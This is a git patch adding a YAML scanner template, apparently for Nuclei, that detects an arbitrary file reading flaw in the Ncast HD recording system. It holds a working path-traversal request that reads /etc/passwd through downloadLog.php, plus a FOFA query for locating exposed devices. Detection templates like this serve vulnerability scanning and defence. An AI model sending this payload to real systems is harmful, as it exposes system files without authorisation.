From be7d690b138267551b959600eb3ed01fb52965ea Mon Sep 17 00:00:00 2001 From: pussycat0x <65701233+pussycat0x@users.noreply.github.com> Date: Thu, 18 Jul 2024 00:34:21 +0530 Subject: [PATCH 1/2] Create ncast-lfi.yaml --- http/vulnerabilities/other/ncast-lfi.yaml | 28 +++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 http/vulnerabilities/other/ncast-lfi.yaml diff --git a/http/vulnerabilities/other/ncast-lfi.yaml b/http/vulnerabilities/other/ncast-lfi.yaml new file mode 100644 index 0000000000..2c9a9cc8da --- /dev/null +++ b/http/vulnerabilities/other/ncast-lfi.yaml @@ -0,0 +1,28 @@ +id: ncast-lfi + +info: + name: Ncast HD Intelligent - LFI + author: pussycat0x + severity: high + description: | + Ncast HD intelligent recording and broadcasting system has an arbitrary file reading vulnerability. + reference: + - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + metadata: + fofa-query: app="Ncast-产品" && title=="高清智能录播系统" + tags: ncast,lfi,misconfig + +http: + - method: GET + path: + - "{{BaseURL}}/developLog/downloadLog.php?name=../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 From 117970f7a9d046334d1fe6e96475225cba24957b Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Sun, 21 Jul 2024 13:58:28 +0530 Subject: [PATCH 2/2] minor-update --- http/vulnerabilities/other/ncast-lfi.yaml | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/http/vulnerabilities/other/ncast-lfi.yaml b/http/vulnerabilities/other/ncast-lfi.yaml index 2c9a9cc8da..e63299e670 100644 --- a/http/vulnerabilities/other/ncast-lfi.yaml +++ b/http/vulnerabilities/other/ncast-lfi.yaml @@ -1,7 +1,7 @@ id: ncast-lfi info: - name: Ncast HD Intelligent - LFI + name: Ncast HD Intelligent Recording - Arbitrary File Reading author: pussycat0x severity: high description: | @@ -10,7 +10,9 @@ info: - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md metadata: fofa-query: app="Ncast-产品" && title=="高清智能录播系统" - tags: ncast,lfi,misconfig + verified: true + max-request: 1 + tags: ncast,lfi http: - method: GET @@ -20,9 +22,15 @@ http: matchers-condition: and matchers: - type: regex + part: body regex: - "root:.*:0:0:" + - type: word + part: content_type + words: + - "application/force-download" + - type: status status: - 200